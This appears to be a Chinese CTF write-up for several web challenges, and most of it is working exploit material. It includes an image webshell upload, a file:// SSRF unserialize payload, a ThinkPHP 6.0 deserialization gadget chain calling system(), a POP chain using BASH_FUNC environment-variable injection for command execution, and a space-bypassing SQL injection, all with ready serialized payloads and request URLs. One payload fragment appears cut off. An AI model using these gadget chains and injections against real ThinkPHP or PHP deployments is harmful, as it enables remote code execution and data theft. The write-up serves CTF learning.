100%_upload 打开环境发现文件包含
题目提示不能上传php文件,直接传一个图片马
RCE
EZ_SSRF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php highlight_file (__file__);error_reporting (0 );function get ($url ) { $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, true ); $data = curl_exec ($curl ); curl_close ($curl ); echo base64_encode ($data ); return $data ; } class client { public $url ; public $payload ; public function __construct ( ) { $url = "http://127.0.0.1/" ; $payload = "system(\"cat /flag\");" ; echo "Exploit" ; } public function __destruct ( ) { get ($this ->url); } } if (isset ($_GET ['Harder' ])) { unserialize ($_GET ['Harder' ]); } else { echo "You don't know how to pass parameters?" ; } ?>
flag在html/flag.php
构造exp
1 2 3 4 5 6 7 8 9 <?php class client { public $url ="file:///var/www/html/flag.php" ; public $payload ; } $a = new client ();echo serialize ($a );
1 O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}
base64解码
Oyst3rPHP www.zip下载源码代码审计
thinkphp6.0
index.php GET传参left和right弱比较,POST传参key利用prce回溯绕过,并且payload存在反序列化
Model.php,发现flag所在文件
直接用tp6.0的链子打反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php namespace think \model \concern ;trait Attribute { private $data = ["key" =>"cat /Oyst3333333r.php" ]; private $withAttr = ["key" =>"system" ]; } namespace think ;abstract class Model { use model \concern \Attribute ; private $lazySave = true ; protected $withEvent = false ; private $exists = true ; private $force = true ; protected $name ; public function __construct ($obj ="" ) { $this ->name=$obj ; } } namespace think \model ;use think \Model ;class Pivot extends Model {}$a =new Pivot ();$b =new Pivot ($a );echo base64_encode (serialize ($b ));
1 TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjc6e3M6MjE6IgB0aGlua1x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cTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo3OiIAKgBuYW1lIjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJrZXkiO3M6MjE6ImNhdCAvT3lzdDMzMzMzMzNyLnBocCI7fXM6MjE6IgB0aGlua1xNb2RlbAB3aXRoQXR0ciI7YToxOntzOjM6ImtleSI7czo2OiJzeXN0ZW0iO319" } res = requests.post('http://yuanshen.life:38972/?left=QNKCDZO&right=240610708' , data=data) print (res.text)
Not just unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 <?php highlight_file (__FILE__ );class start { public $welcome ; public $you ; public function __destruct ( ) { $this ->begin0fweb (); } public function begin0fweb ( ) { $p ='hacker!' ; $this ->welcome->you = $p ; } } class SE { public $year ; public function __set ($name , $value ) { echo ' Welcome to new year! ' ; echo ($this ->year); } } class CR { public $last ; public $newyear ; public function __tostring ( ) { if (is_array ($this ->newyear)) { echo 'nonono' ; return false ; } if (!preg_match ('/worries/i' ,$this ->newyear)) { echo "empty it!" ; return 0 ; } if (preg_match ('/^.*(worries).*$/' ,$this ->newyear)) { echo 'Don\'t be worry' ; } else { echo 'Worries doesn\'t exists in the new year ' ; empty ($this ->last->worries); } return false ; } } class ET { public function __isset ($name ) { foreach ($_GET ['get' ] as $inject => $rce ){ putenv ("{$inject} ={$rce} " ); } system ("echo \"Haven't you get the secret?\"" ); } } if (isset ($_REQUEST ['go' ])){ unserialize (base64_decode ($_REQUEST ['go' ])); }
反序列化最终触发putenv(),这里和虎符CTF的ezphp很像,但是提示说了RUN ln -sf /bin/bash /bin/sh,那么system调用的就是bash -c,与p🐂的环境变量注入就一样了,直接利用环境变量注入执行命令
反序列化链:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php class start { public $welcome ; public $you ; } class SE { public $year ; } class CR { public $last ; public $newyear ="Worries" ; } class ET {} $a = new start ();$b = new SE ();$c = new CR ();$d = new ET ();$a ->welcome=$b ;$b ->year=$c ;$c ->last=$d ;echo base64_encode (serialize ($a ));
1 Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=
payload:
1 2 3 http://yuanshen.life:38989/?get[BASH_FUNC_echo%25%25]=()%20{%20cat /f*;%20} POST: go=Tzo1OiJzdGFydCI6Mjp7czo3OiJ3ZWxjb21lIjtPOjI6IlNFIjoxOntzOjQ6InllYXIiO086MjoiQ1IiOjI6e3M6NDoibGFzdCI7TzoyOiJFVCI6MDp7fXM6NzoibmV3eWVhciI7czo3OiJXb3JyaWVzIjt9fXM6MzoieW91IjtOO30=
hacker 无列名注入,过滤空格,使用/**/代替
payload:
1 'union/**/select/**/`2`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from/**/flag)a%23